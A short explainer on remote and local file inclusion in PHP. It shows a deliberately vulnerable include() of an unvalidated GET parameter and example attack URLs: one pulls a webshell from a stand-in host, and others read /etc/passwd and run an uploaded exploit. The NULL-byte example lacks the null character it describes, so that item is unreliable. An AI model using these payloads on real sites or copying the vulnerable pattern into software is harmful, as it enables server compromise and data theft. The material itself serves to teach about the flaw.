what is RIF ? - Remote File Inclusion

File inclusion vulnerability is a type of vulnerability most often found on websites.

It allows an attacker to include a file, usually through a script on the web server.

The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as minimal as outputting the contents of the file or more serious events such as:

Code execution on the web server
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
Denial of service (DoS)
Data theft/manipulation

In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function. Most notable are the include and require statements

Example

<?php
   if ( isset( $_GET['COLOR'] ) ) {
      include( $_GET['COLOR'] . '.php' );
   }
?>

<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

Then hacker will include its infected page or file in to webserver

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a malicious code.
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)
/vulnerable.php?COLOR=C:\\notes.txt - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (Enabling magic_quotes_gpc limits the attack by escaping special characters, thus disabling the use of the NUL terminator)
/vulnerable.php?COLOR=/etc/passwd - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.